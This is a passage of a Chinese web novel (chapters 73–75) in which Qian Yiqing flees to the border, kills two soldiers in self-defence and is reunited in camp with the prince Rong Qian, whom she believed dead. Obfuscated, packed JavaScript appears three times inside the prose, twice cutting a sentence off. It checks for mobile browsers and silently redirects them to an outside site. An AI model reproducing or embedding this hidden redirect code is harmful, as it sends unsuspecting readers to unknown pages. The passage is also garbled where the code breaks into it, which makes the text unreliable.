良久,队伍的进程才过了一半,千裔清坐在车里玩手指,车厢里放着冰块去暑气,外头的太阳可就不一样了,直晒得人发懵。 小厮起初还不时回头看看,再到后来只觉得昏昏欲睡,像只提线木偶一般只顾跟着前人脚跟一步一走。 似乎差不多了。 车厢门被推开一侧,梳着高髻的少女提着裙边轻快地跳下马车,前头的马似乎没注意到车厢轻了一些,仍在树底下打盹,偶尔懒散地哼哧一声。 待到家仆再回过头看时,车门紧闭,一切早已恢复如初了。 千裔清脚步匆匆,全然不顾正在街上,扯下头上的几支发钗,留下最长的一只银簪,随意在头上挽个简单的发髻,径直走进一家门脸极小的当铺。 手中攥着的发饰尽数被拍在案上,紧接着她又褪下腕上带的,颈上挂的。 千裔清知道自己那点银子估计连匹好马都买不起,更别提一路上的周折,这些都是她特意从府里带出来的。 一路上,千裔清一家店一家店的进,直到彻底换下全身行头,背上简单的包袱,看起来再不是出府时那个衣着华贵的姑娘,朴素到只看背影能完全融于街坊之间。这时她去选了一匹马。 千裔清不懂马,时至今日她也没记住容潜跟她说的那些,如何算是品相好,如何算是脚力足,甚至于她连品种都还分不清,只是依照旧事习惯,选了其中最好看的那一匹。 显然,市集的马比不上皇家精心挑选的,这匹马非但不快,跑了没几步路就不远再动弹了,停在万罗谷外不肯向前,要她牵着才能动两步。 正当千裔清和它比拼谁的执拗劲更厉害,紫红色的花田之中缓缓出现两道驾马前行的人影,人还未到跟前儿,其中一人的嘲笑声倒是先落进千裔清耳朵里。 “哈哈——谢师兄,这姑娘牵了只小马驹在这散步呢!” 千裔清嘴角微微抽搐,她这马是小了点,那不是想着更匹配自己的身形吗! 她抬起头,神色不快地扫了对方一眼,竟是引得那年轻人一愣。 被唤作“谢师兄”的年轻男子不争气地瞥了他一眼,转而看向千裔清:“姑娘,再朝西去就要出夜南地界了,绥夏和夜南正交战,你还是尽早回去吧。” “噢噢对对对!”回过神的年轻人收回脸上因为惊艳而痴傻的表情,结结巴巴道,“那边危险,你还是别去了,姑娘家住哪里,不如在下送你回去?” “陶令,收起你那德性,别忘了咱们是去执行任务的!” “哎呀!谢师兄你也太上纲上线了,莫不是你兄弟做了门主,你也开始摆起谱来了?” 门主? 千裔清终于想起这人的容貌为何如此熟悉了,他与谢子源长得很像,只是看起来没那么老成的做派,神情姿态都更显稚嫩一些,这才符合他这般的少年年纪。 千裔清犹豫了片刻,望向那位姓谢的师兄:“谢子源是你什么人?” 两人一愣,同时停下了话音。 “你认识我哥?” 不光认识你哥哥,还认识你师傅。 千裔清不知道怎么解释自己的身份,想来这人也是没听说过自己的。 想了想,她说道:“我师傅是官朗州。” 那人一跃而下,从马上落在地面,上前一步:“原来你是千千姑娘啊!我听师傅提起过你,哦,我师傅姓喻。” 千裔清点头。 她知道他们兄弟都是喻景淮的徒弟,那这位就是谢子源的胞弟——谢子初了。 谢子初问:“你这是要去哪?” 千裔清朝着西边望去,一览无垠,显然距离绥夏还有很远很远。 她也不做隐瞒,直言:“我要去边境。” “你要去边境?”陶令诧异地重复一遍,脸上写满了不敢置信,一个姑娘家,只身一人去边境做什么? 陶令问道:“你是崇安王府的人?” 随即他解释:“哦,姑娘你别多心,听说崇安王他......所以我就想着这时候会去绥夏的人恐怕也只有崇安王的人了。” 这个人脑子倒是很灵活。 千裔清点点头,默认自己来自崇安王府:“崇安王的事重云门也知道了?” 陶令颔首:“这个自然,重云门距离绥夏最近,军部有什么消息咱们都是第一个知道的!” “那......”千裔清犹豫了片刻。 “是真的。”谢子初知道她要问什么,“若你是崇安王府的人,想去见崇安王最后一面本也无可厚非,只是——” 他顿了顿,望着那匹小马的眼神充满了无奈:“鬼医对师傅和云姑娘有恩,你是他的弟子,我们重云门自然不能袖手旁观,你这匹......马,尚不足一岁,体力耐力都不足以支持你到边境,姑娘还是重新做打算吧。” 千裔清:“......” 这话也太委婉了,所以她是挑了匹马中幼崽吗? 见她脸上为难的紧,谢子初斟酌了一会儿,想起师傅昔日对自己的关怀,而且他和云染的交情又着实不错。 谢子初转头对陶令说道:“回去告诉门主,我先送千千姑娘去边境,这次任务还是交给高少舟吧。” 陶令好一会儿才反应过来,怀疑自己听错了,掏了掏耳朵:“可是门派有规定不能越过防线,你若去了就是违抗门规,朝廷也不会同意的!” “这个我自然明白,不过是送她到边界而已,我保证绝不越界。”谢子初补充道,“你就这样回复门主即可,他会同意的。” 谢子初态度坚决,拿定主意要替师傅还个人情,陶令知道自己拗不过他,便放弃了,朝谢子初抱了个拳,留下自己的快马转身回去。 重云门就在万罗谷中,回去一趟对他而言并不费事。 千裔清指着她手中牵的马问:“那它怎么办?” 虽然还是匹幼年小马驹,怎么说也不能就这么丢在这里。 “好办。”谢子初笑了笑,对着身后刚走不久的背影大声喊道,“陶令——” 得嘞!他就知道! 还没走远的人脚步一顿,皱巴着脸再度回来。 - 有了谢子初的陪同,西行的路也变得好走很多。 谁都知道万罗谷几乎算是众人默认归重云门所有,连带着周边的须臾山也是荒无人烟的,然而到了山脚,千裔清才发现这里其实还有处村庄所在。 天已经黑了,纵是人能熬得住,马也是要休息的。 即便快马加鞭,想到达境外至少还要一天一夜。 村子的住户并不多,地界也不大,而且这里并不像寻常的村落一样商铺繁多。 谢子初解释,除重云以外鲜少有人踏足万罗谷,这片村落的村民也是如此,多靠自给自足。 所幸坤京本来就离绥夏不远,若非如此也不会总起战事,既然已经到了这,就无需急这一时半刻的。 谢子初路上同她说了很多。 譬如喻景淮在将门主之位传于谢子源之后,不仅重云门中内乱不止,江湖上的其他门派也想借此机会瓦解他们,这件事原本没这么快彻底解决的,直到有一天崇安王来访,要求重云门上下为他尽快打探绥夏军情,作为交换,他愿以崇安王的名义支持重云,待得胜之时再为重云添一把柴。 只是如今崇安王身亡的消息从边境传来,重云门上下又变得不安,只有谢门主一人镇定如初,不知在打什么主意。 至于喻景淮,他已经在众人视线中消失很久了。 千裔清也不免怀疑,重云门距离绥夏这么近,为何没人去验证一下事情的真假。 而谢子初则表示,一是军报造假的可能性微乎其微,二是谢子源不许他们管这档子事。 休整完毕,第二天谢子初又陪着千裔清赶了整个白日的路途,前方差不多接近沙场,随时有驻守的将士会注意到他,出于门规和朝廷禁令,他不能再往前,否则可能会惹出不必要的麻烦。 谢子初同她告辞,又道:“我本来以为你是来找鬼医的,没想到是为了崇安王而来。” 千裔清无奈地摇摇头:“自从鬼山被烧,师傅已经离开近两个月了,也不知道如今身在何处,有没有找到方幼渺。” 谢子初怔然:“方幼渺?怪不得——原来鬼医是追着方幼渺才来到这里的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“找人?”小眼睛的夜南小卒嘲讽一笑,“来这里找人,莫非你是奸细?” “我来找——”她话语一顿,差点顺口把容潜的名字喊出来,于是改口道,“我是来找崇安王的。” “崇安王?” 他的眼神突然变得怪异,和身边那人相视一眼,不约而同提起刀。 千裔清急忙退开几步:“两位这是做什么!” 高瘦的小卒面色不善:“崇安王已经身亡,你这女子还敢说来找崇安王,不是奸细又是什么!” “两位大哥——” 还没来得及解释,两人不由分说提刀就砍,其中一人更是已经来到近前。 千裔清无奈,从袖口夹出一包粉末,手腕一扬,灰白色的烟粉霎时迎面而上。 “啊——我的眼睛!”这下好了,他的小眼睛彻底睁不开了。 那些瓶瓶罐罐的属实难装,千裔清担心陆离起疑便没敢带出来。只是一个姑娘家独身出门,她又没什么拳脚,防身的东西还是要准备一些,于是顺道在路上包了一些石灰粉,没想到还真用上了。 千裔清抱歉道:“这位大哥听我解释,只是石灰而已......” 另外一人只看到自己的兄弟痛苦万分,捂着脸在地上打滚。 他哪管什么解释,这下更认定千裔清是绥夏来的奸细:“少废话,老子砍了你!” 千裔清蹙紧眉头,一面躲闪着,一面努力跟他解释。 只是她到底没练过功夫,又比不得战场上的人反应灵敏,两个回合就被掀翻在地。 那人抬手就要落刀,千裔清咬牙,反手拔出发簪狠狠插入对方耳门穴,轻轻一转而后拔出,鲜红的血液喷涌而出,他手中的长刀也擦着千裔清的肩头落在地上。 千裔清把他从身上费力推开的功夫,先前那人也抹去了眼中石灰,勉强找回一丝光亮。 他一睁眼就看到自己同伴丧命的情景。饶是千裔清被逼无奈才杀人,落在对方眼里也只能认定她定是绥夏派来的歹人。 见人持刀而来,千裔清捡起地上的长刀反手去接,只一下便被震得手腕发麻,刀柄脱手而落。 她极为狼狈的在地上打了个滚躲开,抽出一丝间隙表明自己的身份:“误会啊!我真的不是间隙,我是坤京来的!” “少说废话!你杀了我兄弟,还敢冒充夜南人,去死吧你——” 不是她不愿留手,这两人丝毫不听解释,非要当场置她于死地。 千裔清只好重新扬起手中的发簪,趁他近前划过他的会宗穴,趁他手腕吃力,下一刻毫不犹豫钻进他哑门。 一击毙命。 咳—— 千裔清瘫在地上大口喘息,长发散落在背后胸前,狼狈不堪。 不紧不慢的马蹄声近前,似是有人看了很久的戏。 “哟!这姑娘看着柔柔弱弱的,下手还挺狠啊!” “可不是么!欸,刚才为什么不拦住她啊?” “咱们又没带弓箭,就算出手也救不回那俩傻子,算了,带回去好好盘问吧......” 千裔清在袖子上抹净发簪上的血迹,慢条斯理的挽起长发,低头听着两人的议论,暗自松一口气。 听起来这两个倒不是冲动的,似乎在军中还有些权利。 罢了,能带她去军中就好,也省得她麻烦。 正想着,一道冷冽的男声不大不小,落在千裔清耳畔。 “你们两个,在这磨蹭什么呢?” “呃、殿下来了!” 那后来人却没应声,沉默了一阵,而后不确定道:“......清清?” 这声轻唤让千裔清手指一颤,她缓缓抬首,那道熟悉无比的身影正迈着修长的双腿,一步一步靠近而来。 年轻的男人一身金甲,额前的发梳的整齐,没了发冠的加持也丝毫不褪贵气,俊秀的脸庞似乎是瘦了点,嘴边青黑的胡茬看起来有些沧桑,但千裔清还是一眼认出。 这就是容潜。 他眼中的诧异和震惊缓缓褪去,弯着笑眼丝毫不隐瞒自己的欣喜:“怎么,不认识我了?” 千裔清眼眶一热,眼圈跟着一瞬就红了。 可她什么也没说,就这么盯着他看了几秒,转身就走。 “哎——你去哪儿?”容潜急切地握上她的手腕。 赶了这么久的路,又刚从紧张的生死中脱险,千裔清基本是没什么余力了,此刻容潜拉住她,力道之大把千裔清扯的一个踉跄,差点绊倒在地。 容潜眼疾手快的扶上她的腰身,一脸的关心:“怎么了,吓到你了?” 千裔清抿了抿唇。 他真的没死,他还活着,完完整整的站在她面前。 那为什么所以人都说他死了。 所有人......都说他死了。 不远处的马副将茫然无措地望着陈将军,他是从没见过千裔清,但陈将军是见过的。 陈将军心中一个劲的骂自个眼拙,方才是这姑娘头发散乱,加上离得远,他虽觉得熟悉却怎么也没想到千裔清会出现在这里。 方才他说抓回去盘问......殿下没听着吧? 74. 认错 马铮抬起手肘戳了戳一旁的陈开,小声道:“怎么了?这姑娘谁啊,看你一脸紧张的样子?” “啧!”陈开瞪了他一眼,掩着嘴凑近他道,“这是王妃啊......” 啊......原来是坤京王府里的那位...... 马铮顿时明白了,俩人相视一眼,到底是年轻人胆子更大些。 马铮轻咳两声,清了清嗓子,抬高声调道:“那个,殿下,我和陈将军先去前头看看,您......您忙......” 他想了半天也没想好措辞,最后憋了个“您忙”出来,又是惹得陈开一瞪眼。 容潜这会儿心情好的很,哪里有功夫和他们计较这些。他听不见什么忙不忙的,只知道面前这个他日夜牵挂的女人像是听不到他说话,一味同他赌气。 容潜歪着头,一脸好脾气的模样:“这么大老远的跑来见我,现在见着了又不理我?” 千裔清瞪他一眼,冷冷说道:“我不是来见你的。” 说谎。 容潜佯装惊讶:“那你来做什么?” “来给你收尸。”千裔清甩了甩手腕,腕子上那只手却分毫未动,她蹙眉,“放开!” 容潜像是听不懂似的,死皮赖脸纠缠:“那可完了,我这还没死,你这尸是收不成了!” 一个“死”字再次点燃千裔清心底的引线,她毫不犹豫地空出另一只手,扬手在他侧脸狠狠扇了一巴掌。 清脆的巴掌声响彻寂静的山林,吓得陈开两人头也不回的绕路走了。 容潜没躲,任由她打自己出气,纵是从没被人打过巴掌,吃她这一下也不觉得有什么,仍是笑着,像个不知深浅不知疼痛的孩子。 脸上的指印很快变得清晰,不少不多正好五根红印,映在他好看的脸上显得十分滑稽。 容潜指着自己另一侧干净的脸面,扬着下巴问:“这边要不要也来一下?” “不要脸。”千裔清冷冷回应,方才惊愕而产生的怒意竟然消了大半。 此刻才真实觉得,原来看到他还活着就是最好的结果,旁的都不重要了。 容潜笑着央求:“既然不打了,能不能让我亲一下?” 眼看千裔又在瞪眼,容潜为自己找了个极其合理的借口:“姐姐赏的罪名自然要坐实。” 看这阵势,容潜并没有刻意隐藏自己的行踪,军中之人显然也都是知晓崇安王活着的事实,既然如此,为何传到夜南境内却成了崇安王身亡的消息。 这是军情,军情如何会有误? 千裔清不明白:“为什么他们都说你死了?” 容潜理所当然道:“自然是我让他们这么说的。” 这果然是他的计划一环,可是为什么要把她也给套进去。 容潜挑了挑嘴角,看出她的疑惑:“怕你演的不像。” 千裔清:“......” 怪不得璟王在听到传言后也来府上拜访,一副完全不信容潜身亡的样子,悲痛的有些过分了。她不记得这两兄弟什么时候好到这个份上,明明重逢后,容潜对待璟王的态度一直有些偏见。 其实最初璟王为了祝音放弃争夺权势,容潜那时还对他有几分敬佩,后来得知了一些事,容潜发现其实璟王其实一直心有不甘。不甘也好,可他不该算计自己,对于皇位,容潜从未想过。 璟王对佑王当初所做的事全都一清二楚,却因为佑王提出合作而选择睁一只眼闭一只眼,若非如此,容潜当日也不会被绊在宫里那么久而不得消息。 容潜怀疑璟王魔怔了,他太执着权势,只知道佑王也颇受先帝疼爱,却忘了他是几个皇子中最不成器的,他的话,先帝又怎么会听呢? 据容潜所说,传出死讯原是他离开坤京前就计划好的,夜南境内,知情者唯有容烨、陆离和谢子源三人。 谢子源作为中间人传信于陆离,而陆离知晓计划进程后也在京中观察各方动向。 唯一的变数是千裔清。 千裔清坐在马上,被容潜揽在怀里:“所以,你要试探的其实是璟王?” 容潜道:“不错。先前我未曾对你直说,其实迎娶皎月公主本就是璟王心中意愿。” “他想称帝,可兵权在我手里,既然我不愿意帮他,他便想着借绥夏达成目的。你可还记得我身上的伤?” 是他隐瞒着说是路上遇见歹人的事。 千裔清记得:“也和璟王有关?” “嗯。”容潜缓缓道,“一般小毛贼伤不到我,但二皇兄可以,不过他并没真想杀我,那只是个警告。” 让容潜求娶皎月公主正是千裔清的主意,无论结果如何,无论容潜原本的计划如何,但算来算去,他这伤追根溯源好像还是因为自己。 后背传来的沉稳心跳逐渐和她的节奏交错,是其中一人因为慌张而心率加速。 千裔清心中觉得愧疚,声音也变得没底气:“那......璟王会怎么做?” “怎么做......”容潜低着头思索了一会儿,“阻碍既除,想必不久后便会想办法勾结绥夏进而反剿夜南吧。” 那夜南岂不是危险了? 祝音呢,这件事会不会也牵连到她? 千裔清侧过脑袋,额角擦着他低垂而下的嘴唇:“那怎么办?” 容潜把头更低些,稍微用力在她额上印了一下:“无妨,这边我已经部署好,不会有人能越过我们去绥夏,而且......我会在他真正行动之前结束这场战争,回到夜南。” - 千裔清为被迫杀了两个夜南兵的事耿耿于怀,容潜则劝她不用担心,会有人处理。 的确如此,她带来的那匹白马当时已经累得趴在原地,不多久也被人顺利牵回来了,至于那两句尸体,旁人也不敢真与她计较什么。 须臾山外,绥夏交界。 真的到了柳营之中,千裔清才发现原来战场上,任凭你是什么王侯将相都是没用的。 再没有金玉阁楼,再没有金樽酒盏,再没有奇珍海味,就连命数也不是能完全握在手里的。 解下坚硬的锁甲,里头的衣裳赫然已经被划破了洞。 容潜指着自己衣角,一脸坦然地道:“你看,我真没骗你,我是真受伤了。” 说罢,他还拉开一些,露出内层之下的腰腹,偏侧的一处伤口刚刚结痂,显然处理的不太干净,所以长的慢些。 千裔清很不情愿地扫了一眼,迅速把目光收回。 虽然只是很短的一眼,但不难看出那伤口并不浅。 千裔清撇了撇嘴,心底却不由自主变得柔软,语调也放柔了一些:“你不是很厉害的吗?怎么还会受伤......” 容潜丝毫没把这点小伤放在心上,随意“哦”了一声,道:“刚到这里的事了,一点小伤而已,都是我太心急了。” 千裔清横他一眼:“是你太轻敌!” 容潜挑眉:“我可不是轻敌。绥夏敌军狡猾我并非不知,否则八哥他也不会命丧在此......唉,是我太急着回去见你才被人钻了空子!” 这人倒打一耙的本事怎么越来越厉害了,她远在坤京,这还能怪着她的? 千裔清危险地眯起眼,看似无意道:“哦,这么说是怪我了?” 方才的事还没哄好呢,这会子可不能再惹人生气了。 容潜拾起笑,举手认错:“唔......是我不知深浅。” 算他识相! 千裔清弯了弯唇角,表情刚缓和一瞬,转眼又变得发愁起来。 “可是你这伤口......怕是要留一辈子了。” “不妨事,一个伤口而已。”他顿了顿,抬起头问她,“怎么,你嫌弃了?” “是有一点。”千裔清颇为正经地点点头,“伤口处理的不好,缝的太难看了。” “呀,那怎么办!”容潜一脸为难,指着自己的腰腹比划两下,犹豫道,“要不你比着这里再砍一刀,然后重新给我缝一次?” 说完,他起身作势,倒像是真要去拿刀来。 千裔清忙拉住他的手臂,瞪着杏眼骂他:“疯子!” 容潜笑了笑,顺势扯过她的手,把掌心贴在自己侧脸。 他能清晰看到千裔清眼瞳中自己温柔的笑颜,他已经很久没有这样开心过了。 容潜大方的承认:“我是疯子,可你还不是来找我这个疯子了?” 他以为千裔清会在家等他回去,他分明让陆离看好她的。 可他失策了,他没想到千裔清会这么冒失的来边境找他。 然而他又想,这是不是也代表他赢了? 是的,他赌赢了。 周边就近伐木搭建的营帐基本没什么隔音效果,外面的人还没进来,说话声先传来,就是听不大清楚。 千裔清不想被旁人看到他们拉拉扯扯的,挣脱开钳制,走远一些随便找个角落坐着。 容潜又简单交代几句,让她在帐里歇着,需要什么随意喊人就行,解决不了的便让人去通知他,他会处理。 千裔清点头应下,待人走远,这才好好打量起这间营帐。 这间营帐虽然宽敞,设施却的确算不上好,千裔清觉得甚至不如她从前在山上居住的竹屋,起码该有的都有。 再瞧这里,木桌是临时建造的,边角都粗糙的很,床榻也是没有的,地上是木板和谷草,铺了几层厚厚的被褥,好在这会是夏天,不会冻着。 都说军中辛苦,今日一见是这样的。 只是没想到容潜这种享受惯了荣华富贵的皇族也能吃得这种苦。 - 今夜的风很轻,月朗星疏,若不是容潜带兵先绥夏一步进行部署,此刻她们也没机会坐在这里看星星。 直到离得最近的那颗星星也彻底钻进漫无边际的漆黑天空,夜色四合,时候不早了。 身后来往的将士多数都回到自己营帐,偶尔能听得最近的那间还在趁夜商讨军情,讲到兴奋之际会哈哈大笑几声。 千裔清起身,拂去衣裙上的灰尘,朝容潜伸出手。 就这么居高临下的看着他的时候,少年抬头回望,瞳孔在月色下干净的发亮,千裔清早就知道他好看,却从没觉得他是如此的干净、好看,明明是一脸胡茬的粗糙模样。 容潜的目光在她手上落了一下,却没扶上,而是叹了口气自己起身。 他的神色晦暗不明:“休息吧,明日我派人送你回去。” “回去?回哪里?”千裔清一愣,追着他的脚步一路跟进营帐。 容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15114554|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 潜似乎是不敢看她,一而再的躲避她探究的目光,嘴上说道:“回坤京,这里不是你该来的地方。” 千裔清抿了抿唇没说话。 容潜撩起眼尾看她,千裔清脸色阴沉的分明:“我说了我是来给你收尸的,现在还没见到你的尸体。” 她搁下一句坚决的话:“我不走。” 容潜似笑非笑的“哦”了一声,尾调轻扬,勾起一道打趣似的的弧线:“那怎么办,要不我现在死给你看?” “容潜!” 这话果然引得佳人冷眼,容潜轻笑一声,安抚她:“我开玩笑的。” 对话到这里颇为尴尬的停住没在继续,一个在思索着如何劝对方回去,另一个在思索如何逃避回去。 可惜两个人都是执拗的性子,也都深知对方同样如此。 因此他们谁都没开口,更不知道怎么开口。 烛台火光晃了几下,适时,帐外有人送热水进来。 这里条件不比京中,再加上夏天,平时大伙都是洗个凉水澡,或者去河里游上一会儿便算了,几天不洗也是常事,若不是容潜身上有伤不能那般碰水,千裔清也不会非要人烧了滚水再放温送过来。 千裔清拿干净帕子在水盆泡了片刻,浸湿拧干后才递给他,看着容潜一言不发地擦洗身体。 容潜偶尔抬眼看看她,笑着说:“你倒也不避讳。” “又不是没见过。”千裔清想了想,“还摸过呢。” 墨色的眼底暗涌翻滚,喉结微动,容潜的动作停滞一瞬,而后继续。 收拾干净,千裔清给他检查伤口恢复的如何,除了军医的缝合技术不怎么样,药倒是不错。 换好药后已经到了深夜,外面都安静下来,千裔清躺在里侧,身下是厚重硌人的木板,纵是隔着厚厚的褥子也作用不大。 两人肩膀蹭着,并肩躺着。 “你也看到了,这里条件简陋,只能暂时委屈你了。”容潜清清嗓子,略显尴尬的打破沉默。 千裔清淡淡答他:“不委屈。” 空气中又一次沉寂。 容潜赔着笑引开话题:“你什么时候学会骑马的?我记得走时你连上马都还不会,现在都能自己骑着来到这里了!” “是我要陆离教我的。”千裔清侧过脑袋望着他,“是我不对。” 突如其来的道歉震得容潜愣住,他怀疑自己听错了,喃喃的重复了一遍。 这可是千裔清,她什么时候认过错? 千裔清把身子转过来,面对着他,轻轻抚摸他的侧脸,再到下颌,那触感有些扎手。 她暗叹一声:“是我不对,过去种种是我对不住你。” 然后她仰着下巴:“我现在认错了,骂也好打也好,我绝无怨言!” 容潜看得发笑,他怎么没瞧出她这理直气壮的样子是认错的?倒像是来找他的错处。 不过嘛,人都有第一次,第一次认错,这态度勉强可以接受。 容潜也侧过身来,笑得不怀好意,看着她问:“绝无怨言,你说的?” “嗯。”应了一声,千裔清补充道,“除了让我回去。” 容潜不置可否,嘴角仍噙着笑:“那......让你伺候伺候我,也可以么?” 千裔清面露迷惑,睁着眼睛眨了两下,不解地问:“怎么伺候?” 只是话一说完,再瞧见他越发放肆的笑容,千裔清好像突然明白了。 她的脸蹭的一下染上薄粉,耳廓更是烫的像是烧红的烙铁。 “这......”千裔清为难道,“似乎不大合适......” “你怕人听着?”容潜准确戳中她心中所想,“放心,他们会当做没听见的。” 千裔清:“......” 这是重点吗?不是当做没听见就能算做真的没听见好吧! 容潜撇撇嘴,捂着自己的小腹躺会原位,刻意离千裔清远一点,失望道:“唉,亏得姐姐还是大夫,面对我这么一个可怜的伤员,这么一点小小的要求都不能满足。嘶......感觉伤口更疼了......” 这装可怜的样子倒是有点熟悉,那会在霜序居时,他好像也这般耍赖,每次都害得千裔清没脾气,见不得他这副委屈的小狗样子。 容潜侧耳听着,只能听到身边人微乎极微的呼吸声,没对他做出回应,他正要说自己是开玩笑的,衣角突然被什么压着,接着千裔清翻身坐在他身上,因怕压着他受伤的位置,又刻意向下移去半分。 岂止千裔清一番好意的动作反倒引得容潜如被火烧一样的倒抽一口气,嗓音喑哑着:“你来真的?” 拉扯他衣裳的手指停住,千裔清歪着头问:“不是你说的吗?” 容潜面上闪过一丝不自然的笑,极力克制自己差点被焚烧殆尽的意志,还有一丝心智打趣:“让姐姐服侍我,这可有点不敢当啊!” 他指着千裔清搭在身侧的双膝:“营帐不比家里,这么跪着不疼吗?算了吧,我舍不得。” 他是真的舍不得。 千裔清膝骨有旧疾,往日在府上他就有意照顾着,如今到了外头又怎么会因一己私欲而委屈她? 她能来,容潜已觉得自己死而无憾了。 至于别的,不急于一时。 75. 家 千裔清没动,正在分辨此刻容潜这句话是否出于真心,如果自己真的听了他的话,结果又会是他真正想要的吗? 从没想过,原来她也会如此发自内心的想讨好一个人,只是想他满意、开心,而不是为了别的。 那只骨节清晰的手掌先一步回答她的疑问,按着她的脑袋将人强硬的从身上扯下,继而紧紧抱在怀里。 容潜把下巴搁在她头顶,低沉磁性的声音靠的那么近:“你先回家,我很快就会回去,你等我。” 又在赶她回去。 千裔清朝他胸膛钻了钻,声音被夹在其中闷闷的:“你也有不对。” 容潜摸摸她的头发,颇为怀恋的用下巴蹭了蹭。 这种抱在怀里触手可及的实感让他愉悦,语调也轻快的很:“哪里不对?” “有很多,但我不想说了。” 容潜听出千裔清在埋怨,也听出她想留在这里,但沙场不是儿戏,他不能答应。 他假装没听懂:“那就说点别的,说你想我了。” 千裔清没听他的,自顾自的说着自己想说的话:“容潜,我以为你死了。” “所以来给我收尸?”听过很多遍了,他以为又要说这个。 千裔清在他怀里摇了摇脑袋:“所以你别赶我走了,让我陪着你,我会医术,我能救你,就算救不了你我也能和你一起死。” 方才沉静的心跳在这一刻陡然复苏,狂乱的震颤声让人几乎耳鸣。 她说了什么?一起死? 是吗? 半晌儿,容潜声音含砂:“你不是最怕死的?” 他没记错,千裔清怕死的要命,他从来没见过那么爱惜自己性命的人,不同于市井流民,不同于苟延残喘,是一种既清高又惜命,既寻常又矛盾的活法。 他说不清楚,却记得清楚。 千裔清用指尖攥着他后背的衣裳:“我没有家,崇安王府不是我的家,你不在,那里对我来说就只是一座很大很大的冷冰冰的宅子,你在那里,那里才能叫做家。” 家。 对这个字觉得陌生的不止千裔清一个人,容潜也是这么觉得。 他何尝不是早就没有了家,千裔清此刻说的话竟和他心中的想法如出一辙,那座宅子不论换成什么样,始终都是一座又大又冰冷的宅子,什么时候有人在那里等他,什么时候才能叫做家。 容潜默默听着,心中已经渐渐有了决定,只是他鲜少见到千裔清这么坦诚的表达自己的感情,有心再逗逗她,便故意低沉语调:“嗯,还有什么?” “还有......”千裔清觉得有点难以启齿。 她记得不错的话,容潜素日在她身上索取的需求从来很大,可他方才拒绝了。 莫非是因为伤口不是地方,亦或是太疼了不宜动作,怕自己待会儿丢了脸面故意这么说的? 好像真有可能! 容潜哪里知道她的思维跨度如此大,还在认真等待千裔清说下去,可怀中的人手指在他背上轻划几下,带着点蛊惑的声音轻轻撩拨在他心弦:“你如果想要......我可以帮你......” 容潜呆愣了片刻,回过神明白她指的是什么,突然觉得自己似乎被看扁了,不知该哭还是该笑。 但他显然是有点被气到了,又气又无奈,失笑道:“你帮我弄?那我岂不是成了那种只顾自己爽的人渣?” “我没有那个意思——” 话没说完,容潜抽开半身,腾出一只手来扣紧她的下巴,稍一偏头用力吻了下去。 任凭千裔清还有什么话要说,还有什么解释,他不想再听了。 冗长的一吻结束,容潜仍是没松手,抬着她的小脸面相自己,借着营帐里微微泛黄的烛光,他瞧见千裔清的脸微微泛红。 千裔清蹙着眉:“扎......” “渣?”容潜诧异地重复了一遍。 “扎脸。”千裔清用食指点在他的侧脸。 容潜:“......” 又摸了几下,摸习惯了,竟也觉得手感还挺奇特的,她便用力一些,一边摸着,一边好奇:“不能焚香也就罢了,胡子都不刮,这你能忍?” 他不是最爱干净的吗! 容潜则是很稀松平常的顺着她手指方向摸索半圈,而后回答:“战场上没什么不能忍的,活着最重要。” 是这个道理,如果连命都没了,还要脸面做什么。 正想着,容潜突然翻身起来,在千裔清直起身子不理解的目光下来到帐边,取下墙面上挂着玄黑佩剑,又从腰间摸出一把小巧的匕首来,方才就这么被他压在腰下竟也丝毫不觉得硌吗? 更令千裔清目瞪口呆的是,下一刻,他竟拿着自己的匕首对着剑锋,仔仔细细瞄着自己的脸。 ——刮胡子! 千裔清险些咬了舌头:“你、你......” 大半夜的刮什么胡茬! 容潜没说话,指节转动之下,从一侧换到另一边,重复方才的动作。 末了,他收回刀柄回到她身边:“没有剃刀,只能先这么凑合,你看看如何?” 千裔清伸手摸摸,似乎是比方才平整多了。 容潜拍拍她的手,道:“这样能摸出些什么。”他掐着她的小脸拉向自己,“试一下。” 于是千裔清很听话的把脸凑过去,用她柔嫩的肌肤在上面狠狠蹭了几下,回应她的是颊面多的一层薄粉色。 千裔清望着他,十分认真的道:“......扎。” - 虫鸣蝉啸,月色沉了又浅,桌台边角的短蜡不知什么时候已经燃烧殆尽,只剩一滩干涸凝固的熔蜡留在烛台上,黑白交映。 昼长夜短,沉静的夜晚弥足珍贵,天方亮起,千裔清缓缓睁眼。 若不是腰下的木板实在睡得难受,照理说她不会这个时间醒的。 唉,她有点想念崇安王府无聊又闲适的生活了。 容潜比她起的还早,正在穿戴衣甲。 此时正值战事关键时期,绥夏看似坚韧顽强,其实已是强弩之末,由不得任何耽搁,他们要早些攻下绥夏才能早日回去。 倾瀑而下的长发随着她的动作被带起,睡眼微含,看起来还没清醒透。 都说欣赏美人是件让人心情愉悦的事,如今看来完全不假,这等简陋粗糙的营帐环境,因为有她在,竟有几分原生古朴的感觉。 只是眼下这位美人醒来之后微微皱眉扶药的动作有点可怜。 容潜笑了笑,低着头系衣襟:“木盆里有热水,餐食一会儿就送过来,你慢慢收拾,不着急。” 千裔清乖巧的应了一声,一点也不耽搁,麻利地翻身起床,简单收拾干净以后,她站在一旁一声不吭的看着,感叹他永远考虑的很周祥,不论是对未来,还是对她。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 